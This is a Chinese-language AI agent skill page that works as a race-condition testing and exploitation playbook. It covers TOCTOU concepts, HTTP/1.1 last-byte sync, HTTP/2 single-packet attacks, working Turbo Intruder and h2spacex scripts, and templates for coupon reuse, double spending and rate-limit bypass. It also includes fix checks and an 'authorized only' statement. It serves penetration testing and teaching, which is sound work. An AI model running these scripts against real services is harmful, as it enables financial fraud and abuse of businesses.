关于 race-condition
用于发现非原子状态检查与更新所致竞态条件的安全测试技能。它指导测试人员检查一次性操作、余额、速率限制和多步工作流,并通过同步并发请求及应用侧证据评估结果。
主要功能
- 01优先排查一次性与余额操作
- 02并发请求同步测试方法
- 03HTTP/1.1 末字节同步
- 04HTTP/2 单包测试思路
- 05Turbo Intruder 闸门模板
- 06结果与服务端状态核验
适用场景
- 01验证优惠券或奖励是否可重复领取
- 02检查并发请求能否绕过限额或余额控制
- 03测试验证与付款等多步流程的竞态
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill race-condition安装后在 Claude Code 中输入/race-condition确认已加载。
详细介绍
技能:竞态条件 — 测试与利用手册
AI 加载指令:将竞态条件视为授权/状态完整性问题:非原子化的先读后写会让多个请求观察到过期状态。优先测试一次性或类似余额的操作。结合并行传输(HTTP/1.1 最后字节同步、HTTP/2 单数据包、Turbo Intruder 门控)与应用层证据(重复的成功响应、不一致的余额、重复的账本记录)。仅限授权测试。 路由说明:对于业务工作流、优惠券、库存或一次性奖励,请从此技能开始,并同时加载
business-logic-vulnerabilities。
0. 快速开始 — 优先测试什么
针对检查与更新不太可能由单个原子数据库操作完成的端点:
| 优先级 | 操作类别 | 示例路径 / 参数 |
|---|---|---|
| 1 | 一次性兑换 / 优惠券 / 奖励 | redeem、apply_coupon、claim_reward、voucher |
| 2 | 余额 / 配额 / 库存扣减 | transfer、purchase、reserve、inventory |
| 3 | 邀请 / 推荐 / 注册奖励 | invite_accept、referral_claim |
| 4 | 密码 / 邮箱 / MFA 验证 | verify_token、confirm_email、reset_password |
| 5 | 看似幂等但没有强校验密钥的 API | 应当对每位用户仅成功一次的 POST |
初步操作(概念层面):
- 在代理中捕获会改变状态的请求。
- 在工具允许的范围内,尽可能同时发送 20–100 个副本。
- 判定结果:预期为 0/1 次成功,还是出现 N 次成功或最终状态不一致。
1. 核心概念
1.1 TOCTOU(检查时与使用时之间的时间差)
Thread A Thread B
| |
+-- CHECK (resource OK) |
| +-- CHECK (resource OK) ← both see "OK"
+-- USE / UPDATE |
| +-- USE / UPDATE ← duplicate effect
TOCTOU 指决策(检查)与变更(使用)并非一个不可分割的步骤。
1.2 非原子化的先读后写
典型的易受攻击伪流程:
balance = SELECT balance FROM accounts WHERE id = ?
if balance >= amount:
UPDATE accounts SET balance = balance - ? WHERE id = ?
两个并发请求都可能在任何一个 UPDATE 提交之前通过 if 检查。
1.3 数据库层与应用层的锁定缺口
| 层级 | 问题所在 |
|---|---|
| 应用层 | 内存标记、缓存或会话显示“尚未使用”,但数据库已更新——或者情况相反。 |
| ORM / 服务层 | 存在两个实例且没有分布式锁;每个实例都认为自己拥有决策权。 |
| 数据库 | 缺少 SELECT … FOR UPDATE、隔离级别错误,或逻辑被拆分为多个语句且未使用事务。 |
| API 网关 | 每 IP 限速采用先检查再递增的方式——并行突发请求会绕过重复检查。 |
提示:UNIQUE 约束和幂等键通常可以消除整类漏洞——测试应用是否在关键路径上强制执行这些机制。
2. 攻击模式
2.1 超出限制(重复兑换 / 重复领取)
并行多次发送同一个已认证请求:
POST /api/v1/rewards/claim HTTP/1.1
Host: target.example
Authorization: Bearer <token>
Content-Type: application/json
{"reward_id":"welcome_bonus"}
成功信号:多次收到 HTTP 200/201,出现重复账本记录,或余额高于策略允许的值。
2.2 利用同时性绕过速率限制
如果限额通过逐请求检查计数器实现,且递增操作不是原子的:
POST /api/v1/login HTTP/1.1
Host: target.example
Content-Type: application/json
{"email":"[email protected]","password":"wrong"}
一轮中并行发起 N 次尝试;与 N 次顺序尝试的结果进行比较。
成功信号:接受的失败次数超过文档规定的上限,或在突发请求于一个时间窗口内完成时未触发锁定。
2.3 多步骤利用(抢在处理流程之前)
工作流:create → pay → confirm。如果 confirm 没有通过加密方式与 pay 的完成状态绑定:
- 从同一会话/项目启动两条并行处理流程。
- 在通道 A 的 pay 仍在处理中或已被放弃时,通过通道 B 完成 confirm。
成功信号:商品在没有对应付款的情况下被标记为已付款/已发货,或状态发生回退。
3. HTTP/1.1 最后字节同步
思路:让所有请求保持阻塞,直到每个套接字都已发送完整请求正文,只剩最后一个字节;然后一起放出最后一个字节,使服务器在极短时间内集中收到这些请求。
Client 1: [headers + body - 1 byte] ----hold----+
Client 2: [headers + body - 1 byte] ----hold----+--> flush last byte together
Client N: [headers + body - 1 byte] ----hold----+
原因:与在 Repeater 中天真地依次粘贴相比,可减少副本之间的网络抖动。
工具:自定义脚本、部分 Burp 扩展,或将 Turbo Intruder 的 gate 模式(见 §5)用作实用的同步释放替代方案。
4. HTTP/2 单数据包攻击
思路:多路复用多个完整的 HTTP/2 流,并将它们的帧合并,使所有请求的首字节在同一个 TCP 段中(或以最小间隔)从网卡发出。随后由接收端调度处理,使它们的处理间隔达到亚毫秒级。
Burp Repeater(现代工作流):
- 打开多个选项卡,或选择多个请求。
- 在可用时,使用 Send group (parallel) / single-packet attack。
- 如果目标支持,优先使用 HTTP/2。
[ Req A stream ]
[ Req B stream ] --HTTP/2--> one burst --> app worker pool
[ Req C stream ]
它为何往往胜过 HTTP/1.1 最后字节技巧:在线路上的对齐更紧密;对每个连接的串行化依赖更少。
5. TURBO INTRUDER 模板
仓库:PortSwigger/turbo-intruder(Burp Suite 扩展)。
5.1 模板 1 — 同一端点,使用 gate 释放
设置:concurrentConnections=30、requestsPerConnection=30,使用 gate 让所有线程同时发送。
核心模式(重复 N 次,然后释放):
for _ in range(N):
engine.queue(request, gate='race1')
engine.openGate('race1')
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False,
engine=Engine.THREADED,
maxRetriesPerRequest=0
)
for i in range(30):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
标头要求(每个排队的副本都应唯一,以便在日志中进行关联;Turbo Intruder 载荷占位符):
x-request: %s
Turbo Intruder 与字典列表(或其他载荷来源)搭配时,会为每个请求替换 %s —— 在发送到 Turbo Intruder 之前,请在 Repeater 的基础请求中保留此标头。HTTP 标头名称不区分大小写;请使用一致的名称,以便通过 grep 搜索日志。
5.2 模板 2 — 多个端点,同一个 gate
模式:一个针对 target-1 的 POST(更改状态),加上多个针对 target-2 的 GET(读取端),同时释放,以扩大对 TOCTOU 窗口的观察范围。
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False,
engine=Engine.THREADED,
maxRetriesPerRequest=0
)
engine.queue(post_to_target1, gate='race1')
for _ in range(30):
engine.queue(get_target2, gate='race1')
engine.openGate('race1')
如果端点不同,可通过复制 RequestEngine 实例调整主机/路径(Turbo Intruder 支持多个引擎——请查阅适用于你的 Burp 版本的上游文档)。
6. CVE 参考 — CVE-2022-4037
CVE-2022-4037(GitLab CE/EE):竞争条件会导致已验证电子邮件地址伪造;当该产品充当 OAuth 身份提供方时,还会带来风险——涉及第三方账户关联/影响场景。CWE-362。公开研究已展示了使用 HTTP/2 单数据包式时序赢得狭窄时间窗口的方法。
测试人员须知:电子邮件验证、OAuth 关联和“确认所有权”流程都是高价值的竞争条件测试目标——不只是优惠券和余额。
参考资料(官方/中立):
- NVD — CVE-2022-4037
- GitLab 安全公告和供应商提供的 CVE JSON,其中列出了受影响的版本范围
7. 工具
| 工具 | 作用 |
|---|---|
| PortSwigger/turbo-intruder | 高并发重放、Burp 中的 gate 和脚本编写。 |
| JavanXD/Raceocat | 面向竞争条件的 HTTP 客户端模式(请确认与你的技术栈兼容)。 |
| nxenon/h2spacex | HTTP/2 底层/单数据包式实验(请负责任地使用,且仅针对已授权的目标)。 |
| Burp Suite — Repeater | 用于多请求同步的 Send group (parallel) / single-packet attack。 |
8. 决策树
START: state-changing API?
|
NO -----------+---------- YES
| |
stop here one-time / balance / verify?
|
+-------------------------+-------------------------+
| | |
coupon-like rate limit multi-step
| | |
parallel same req parallel vs serial parallel pipelines
| | |
duplicate success? limit exceeded? state mismatch?
/ \ / \ / \
YES NO YES NO YES NO
| | | | | |
report + try HTTP/2 report + try TI report + deepen
evidence single-packet evidence gates per-step
| | | | | |
+----+----+ +----+----+ +----+----+
| | |
tool pick tool pick tool pick
v v v
Burp group / h2spacex TI gates / Raceocat TI + trace IDs
如何确认(证据检查清单):
- 可复现:并行执行时能稳定复现重复成功,而非只在单次重试中偶发。
- 服务端:存在服务端产物,例如两条记录、两封邮件、两项授权,或最终余额错误。
- 关联:在日志中通过
x-request(或类似)标记或唯一请求体字段进行关联(须在获授权的环境中)。
路由概要:如果场景更侧重业务规则、定价或绕过工作流,请加载 skills/business-logic-vulnerabilities/SKILL.md;此文件侧重于并发和传输层同步。
9. HTTP/2 单数据包攻击 — 详细机制
9.1 TCP Nagle 算法与帧合并
TCP 的 Nagle 算法(RFC 896)会缓冲小型写入,并将其合并为更少、更大的数据段。当 HTTP/2 客户端快速连续写入多个 HEADERS+DATA 帧,且期间不进行刷新时,内核会将它们合并到一个 TCP 数据段中(最大可达 MSS,在以太网上通常约为 1460 字节)。
Application layer: [Stream 1 H+D] [Stream 3 H+D] [Stream 5 H+D]
↓ TCP Nagle coalescing ↓
TCP segment: [Stream 1 H+D | Stream 3 H+D | Stream 5 H+D] ← one packet on the wire
TCP_NODELAY禁用(默认)→ Nagle 算法启用 → 自然发生合并- 如果设置了
TCP_NODELAY,客户端必须使用writev()/ gather-write 系统调用来批量发送帧 - 实际上限:每个 1460 字节的 MSS 约可容纳 20–30 个小型请求;超出后会拆分到多个数据包中,降低同步效果
9.2 服务端请求队列处理
NIC IRQ → kernel recv buffer → HTTP/2 demuxer → concurrent dispatch
┌─ Stream 1 → worker thread A ─┐
├─ Stream 3 → worker thread B ─┤ sub-microsecond spacing
└─ Stream 5 → worker thread C ─┘
- 单次
recv()系统调用返回整个数据段 - HTTP/2 帧解析器从同一数据段中解复用各个流
- 分发器将请求分配给应用程序工作线程池
第一个到最后一个请求的分发间隔:现代服务器上小于 100 μs,比 HTTP/1.1 最后字节同步的延迟(约 1–5 ms 网络抖动)小几个数量级。
9.3 HTTP/2 与 HTTP/1.1 最后字节对比
| 因素 | HTTP/2 单数据包 | HTTP/1.1 最后字节 |
|---|---|---|
| 所需连接数 | 1 | N(每个请求一个) |
| 线上同步 | 同一个 TCP 数据段 | N 个数据段“同时”释放 |
| 网络抖动的影响 | 零(同一个数据包) | 每个连接都有独立的 RTT |
| 服务端分发间隔 | 小于 100 μs | 通常为 1–5 ms |
| 实际上限 | 每个 MTU 约 20–30 个请求 | 受连接建立限制 |
9.4 使用 h2spacex 的实际执行
import h2spacex
h2_conn = h2spacex.H2OnTCPSocket(
hostname='target.example.com',
port_number=443
)
headers_list = []
for i in range(20):
headers_list.append([
(':method', 'POST'),
(':path', '/api/v1/rewards/claim'),
(':authority', 'target.example.com'),
(':scheme', 'https'),
('content-type', 'application/json'),
('authorization', 'Bearer TOKEN'),
])
h2_conn.setup_connection()
h2_conn.send_ping_frame()
h2_conn.send_multiple_requests_at_once(
headers_list,
body_list=[b'{"reward_id":"welcome_bonus"}'] * 20
)
responses = h2_conn.read_multiple_responses()
10. 数据库隔离级别利用矩阵
| 隔离级别 | 利用的现象 | 攻击窗口 | 常见易受攻击模式 |
|---|---|---|---|
| READ UNCOMMITTED | 脏读 | 线程 B 读取线程 A 尚未提交的写入 | SELECT balance 读取到正在进行的扣款,随后按过时逻辑继续处理 |
| READ COMMITTED | 不可重复读(TOCTOU) | 两个线程读取已提交的余额,均通过检查并都执行扣款 | SELECT → 应用层检查 → 未使用 FOR UPDATE 的 UPDATE |
| REPEATABLE READ | 幻读 | 快照隔离隐藏并发插入;两个线程都看到“0 个领取记录”并插入 | 未设置 UNIQUE 约束的 INSERT IF NOT EXISTS 模式 |
| SERIALIZABLE | 绕过建议锁 | 应用使用 pg_advisory_lock() / GET_LOCK(),但作用域错误或键可推导 | 锁键来自用户输入;会话作用域与事务作用域不匹配 |
READ COMMITTED 下的 TOCTOU(生产环境中最常见)
-- Thread A -- Thread B
SELECT balance FROM accounts SELECT balance FROM accounts
WHERE id=1; -- returns 100 WHERE id=1; -- returns 100
-- app: 100 >= 100 ✓ -- app: 100 >= 100 ✓
UPDATE accounts SET balance = UPDATE accounts SET balance =
balance - 100 WHERE id=1; balance - 100 WHERE id=1;
COMMIT; -- balance = 0 COMMIT; -- balance = -100 ← double-spend
修复验证:SELECT ... FOR UPDATE 应阻塞线程 B 的 SELECT,直到线程 A 提交。
REPEATABLE READ 下的幻影插入
-- Thread A (snapshot at T0) -- Thread B (snapshot at T0)
SELECT count(*) FROM claims SELECT count(*) FROM claims
WHERE user_id=1 AND coupon='X'; WHERE user_id=1 AND coupon='X';
-- returns 0 (snapshot) -- returns 0 (snapshot)
INSERT INTO claims ...; INSERT INTO claims ...;
COMMIT; -- succeeds COMMIT; -- succeeds ← duplicate claim
修复方法:UNIQUE(user_id, coupon_id) 约束会导致其中一个 INSERT 因重复键错误而失败,不受隔离级别影响。
SERIALIZABLE 下的建议锁绕过
-- Application intends: one lock per coupon
SELECT pg_advisory_lock(hashtext('coupon_' || $coupon_id));
-- Bypass vectors:
-- 1. Lock is session-scoped but transaction rolls back → lock persists, next txn skips
-- 2. Different code path reaches claim logic without acquiring the lock
-- 3. Attacker triggers claim via alternative API endpoint that lacks locking
快速审计检查清单
□ SHOW TRANSACTION ISOLATION LEVEL — what level is the database running?
□ Does the hot path use SELECT ... FOR UPDATE or explicit row locks?
□ Is the check-then-act sequence inside a single transaction?
□ Are UNIQUE constraints enforced on the critical state table?
□ Multi-instance deployment: is there a distributed lock (Redis SETNX / Zookeeper)?
11. 超出限制的攻击模式
11.1 重复使用优惠券 / 促销码
Target: POST /api/apply-coupon {"code":"SUMMER50"}
Expected: One use per user
Attack: 20 parallel identical requests
Evidence: Multiple 200 responses, final order total = N × discount applied
变体:同一优惠券用于不同购物车商品;并行执行使用优惠券和结账(优惠券仅在结账时才被消耗)。
11.2 投票 / 评分操纵
Target: POST /api/vote {"post_id":123,"direction":"up"}
Expected: One vote per user per post
Attack: 50 parallel vote requests
Evidence: Vote count += N, or DB shows multiple vote rows for same user+post
11.3 余额双花
Target: POST /api/transfer {"to":"attacker","amount":100}
Balance: Exactly 100
Attack: 2+ parallel transfers
Evidence: Both succeed, sender balance goes negative, recipient receives 200
更高价值的变体:提现到外部系统(加密货币、银行电汇),且难以撤销。
11.4 库存超卖
Target: POST /api/purchase {"item_id":"limited_edition","qty":1}
Stock: 1 remaining
Attack: 20 parallel purchase requests
Evidence: Multiple orders created, stock counter goes negative
复合攻击:加入购物车和结账是两个独立步骤,且分别独立检查库存。
11.5 推荐 / 注册奖励
Target: POST /api/referral/claim {"code":"REF_ABC"}
Expected: One claim per referred user
Attack: Parallel claims from same session
Evidence: Bonus credited to referrer multiple times
12. 单数据包多端点攻击
不发送 N 份相同请求,而是在一次 HTTP/2 单数据包突发中向不同端点发送请求。通过同时命中检查路径和使用路径,扩大 TOCTOU 窗口。
模式 1:状态检查 + 状态变更
Single TCP segment:
Stream 1: GET /api/balance ← probe pre-state
Stream 3: POST /api/transfer ← mutate
Stream 5: POST /api/transfer ← mutate (duplicate)
Stream 7: GET /api/balance ← probe post-state
流 1 和流 7 之间的余额不一致,证实命中了竞态窗口。
模式 2:跨资源竞态
Single TCP segment:
Stream 1: POST /api/coupon/apply ← apply discount
Stream 3: POST /api/order/checkout ← finalize order
如果优惠券应用和结账分别独立检查价格,结账锁定价格后,折扣仍可能生效。
模式 3:身份验证 + 特权操作
Single TCP segment:
Stream 1: POST /api/email/verify?token=TOKEN ← verify email
Stream 3: POST /api/account/upgrade ← requires verified email
在验证正在处理但尚未提交的短暂窗口内,升级操作可能成功。
实际设置
Burp Repeater:将指向不同路径的请求添加到同一组 → “Send group (single packet)”。
headers_balance = [(':method','GET'), (':path','/api/balance'), ...]
headers_transfer = [(':method','POST'), (':path','/api/transfer'), ...]
all_headers = [headers_balance] + [headers_transfer]*5 + [headers_balance]
all_bodies = [b''] + [b'{"to":"attacker","amount":100}']*5 + [b'']
h2_conn.send_multiple_requests_at_once(all_headers, body_list=all_bodies)
相关内容
- business-logic-vulnerabilities — 工作流、优惠券滥用和逻辑优先检查清单(
../business-logic-vulnerabilities/SKILL.md)。